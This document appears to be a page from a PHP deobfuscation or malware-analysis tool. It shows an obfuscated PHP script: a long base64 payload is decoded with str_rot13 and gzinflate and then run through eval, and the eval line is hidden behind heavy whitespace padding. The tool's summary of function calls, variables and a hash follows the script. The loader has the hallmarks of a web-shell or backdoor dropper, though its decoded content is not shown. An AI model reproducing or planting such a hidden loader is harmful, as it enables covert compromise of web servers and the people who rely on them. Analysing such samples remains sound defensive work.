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';$s='xyvFvAC4nBGfTLtkwewF4JXaHG+Z2uwb9rQuAu5pXsVafyZJPQC+8eAs0n8CHvAFwh97X9iSTxPyLJ+6PAl5tm3EyHf6+ixfYf4yeYQ4rGfTjPGuWRPeCzkyU6g2EGlqXxvaCh96193Q91CoPVkObL2a4zX48eog1akAFO/kB0F2SkWIRpkgYPBK9HLCi3BnyQdm8EFrGauoSnrJSsaUPqUgNjBu8fo3EKOtxOF+Y6gI7pot75PfxxOOZlM0zaeHAG9DrggXAr4C80TrJ8mcmOhVpniCxBG3UeNCxBCLIkxXsOjb0xvccvsICG7nOGNeZcMQYvTCycO9VOrjtHM+1XyfWC5/XhiCeywO/Z03UtnTXQcIidw4MvetyAsCsVAHSIZEmxpf1xLbnURMMaGBwRk/FGmnQA3hw7wxID+n62eJJT69TJQ3ArIP+Z/T+AB4G8wBAbQwbxTn2Elq2AFsE5ol5UnBZapL13A/QfNJR7ZQKlchzSe1O1LUV8nhSpH2qXVf9r0D8j9xRsPQZd2LOKQuupPQ9g7CoZBovW0wLjAGIpI5kqKXkJurL9sLM74fjW6lULvcaUDhbDVLgBHThgZFA14C8gj4iUlkXHXxnk+PNE8++OW74o7nC85sfSvFEAaimtwYFJBtnLk4c9vT3TJY04p06Tg8T5wEst2yXyHsrwRqBiR+aj59HGQAEP5jToKKQ7JPCkRTzdZ4ZT9oF7DWj0B4JIkm3pers86shEnZdIKp5BUM4vtDtsthDPJsOtpg1nd2gxiczFoJRA1wR843j+951D36xbuEnDD0HBQK5s5TqgxGoo3tX5fYc61feJoznhQye6sBesaQWPINA2rq8TnYoWybt2p4jRSZJ1QAoRkaA2AlgeA17XUsAbtK8JG5BYDn7x4Ely5dsl/UCCJHx5JRJxo3MlE/gAE9WRBQxg8eaI2KnQNpTUesPv4k6KsT3QgAQMzv18QMYVf/YSIRJjXcPdawVMK3yXlAg8uJLHYuiLoRyym6GugraFC3Aq2TLViSJra12ECP0Y3e1xXcwBPOPNnu7Yev6RARve/LHzovs7Xwg/r5NAF3dUosVLfboSBKq0Tjegsk/JlOs584r2U4N1o79KC6HNuUVxbq64esWz0/Iis+c5IpcDjmagQkbZmhTDrA+wGQ2VzU4W19aEaqHchMEEW6BkBsrlVXh0MpHhDzgXjgfestZVM5YRbB5oeXp6rUPWJ8VlVtMXz+5LUMdkaov+CJwf6TM28gacdOCOb8GoHOhZJ43wWI4h9li63szU15c83xesC4MfmCj+jYE/cOIJX3SPuB6QAbZjBmx3SnUijbBjYmNfQrQpFnaSUvZCazvST0xl8EzY1x7lH9Chm6iPoY7nv5sER4JepxD9BGczxOGsAPTneQS2AdDFyT3DvUlXoWIld49NF4/EQQv3bknln9Us2ki4HDZ0wjVr/oAP7KqB/5XSRp9CEf8qBqBaiB06b1s7RVQ5/X3WEPaAM7+FDvPM5zzmpq3Nz7+atm3XeJ65ZZt0b37zWZrjPBs4zjMJz2wm1WieifjOM1bnOfngf8nyzN1hvv/5p2L12vCvXzXl699++eV/6E0W+B5cvD7ff/Om2v385ddfX+A//N7UD9vZ3tzYuFuygLl3ech4F2f+f/2X/wM=';



//eval(xcode(soax(5266626562($u)));






































                                                                                                                                                                                                                                                                                                                                                                                                                                                           eval(gzinflate(str_rot13(base64_decode($u)))); 








                                                                                                                          





















?>

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1
set_time_limit 1
error_reporting 1

Variables

$s xyvFvAC4nBGfTLtkwewF4JXaHG+Z2uwb9rQuAu5pXsVafyZJPQC+8eAs0n8C..
$u 7b1sk+JVljj4947ZfIeY3DLLqo2eCokjAqan2oZYIGEkEIKetjQkgSQQT8Et..

Stats

MD5 5ff93606153bc2190b570dde8d0aa273
Eval Count 1
Decode Time 1271 ms